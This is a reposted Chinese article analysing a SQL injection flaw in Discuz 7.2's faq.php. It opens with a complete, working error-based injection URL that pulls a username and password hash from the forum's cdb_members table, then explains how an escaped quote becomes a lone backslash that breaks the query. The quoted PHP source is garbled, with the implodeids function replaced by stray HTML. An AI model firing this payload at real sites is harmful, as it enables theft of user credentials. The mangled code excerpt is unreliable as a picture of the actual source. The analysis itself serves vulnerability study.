当前位置:首页>>Discuz学习教程
Discuz7.2版的faq.phpSQL注入漏洞分析
点击数:1047 更新时间:2017-05-24 13:02:55 来源: 昕竹轩网站设计-【返回】
复制代码代码如下:
http://www.aspku.com/faq.phpaction=grouppermission&gids<99>=%27&gids<100><0>=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
漏洞分析: by phithon
复制代码代码如下:
($action == 'grouppermission')
$query = $db->query("SELECT * FROM usergroups u LEFT JOIN admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
...
}
function implodeids($array) " target="_blank" title=""> else
}
首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET
为什么这个操作就造成了注入?
discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids<1>='的话,会被转义成$gids<1>=\',而这个赋值语句$groupids<> = $row<0>就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。
再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数
很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。
但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。
本资讯信息是来自 昕竹轩工作室 小编 通过网络收集而来的关于discuz网站开发,使用、安装、架设相关的学习资源。
您若也有需要分享的可以直接在我们网站上分享你的内容,让大家都知道。
版权声明,本活动信息隶属网络收集而来若有侵权请联系我们,我们将及时清除信息。
广告位
【必备推荐】(Top) 返回页面顶端
【精品案例】更多案例展示
【最新留言】
(Top) 返回页面顶端
登录 |
免费注册 |
忘记密码 |
邮箱:CSW8923@126.com
服务电话:17895923895 客服QQ:568441621
Copyright © 2014-2015 Htmcss.Com All Rights Reserved 版权所有昕竹轩网站设计 备案号:闽ICP备16024510号-4
Copyright © 2014-2015 Htmcss.Com All Rights Reserved 版权所有昕竹轩网站设计 备案号:闽ICP备16024510号-4
你设置的联系邮箱是*: (当有人给你留言回复之时,联系邮箱可以及时通知你)
我们建议你填写正确的邮箱地址,如果你之前填写邮箱地址是错误的可以通过 【修改资料】 来重新设置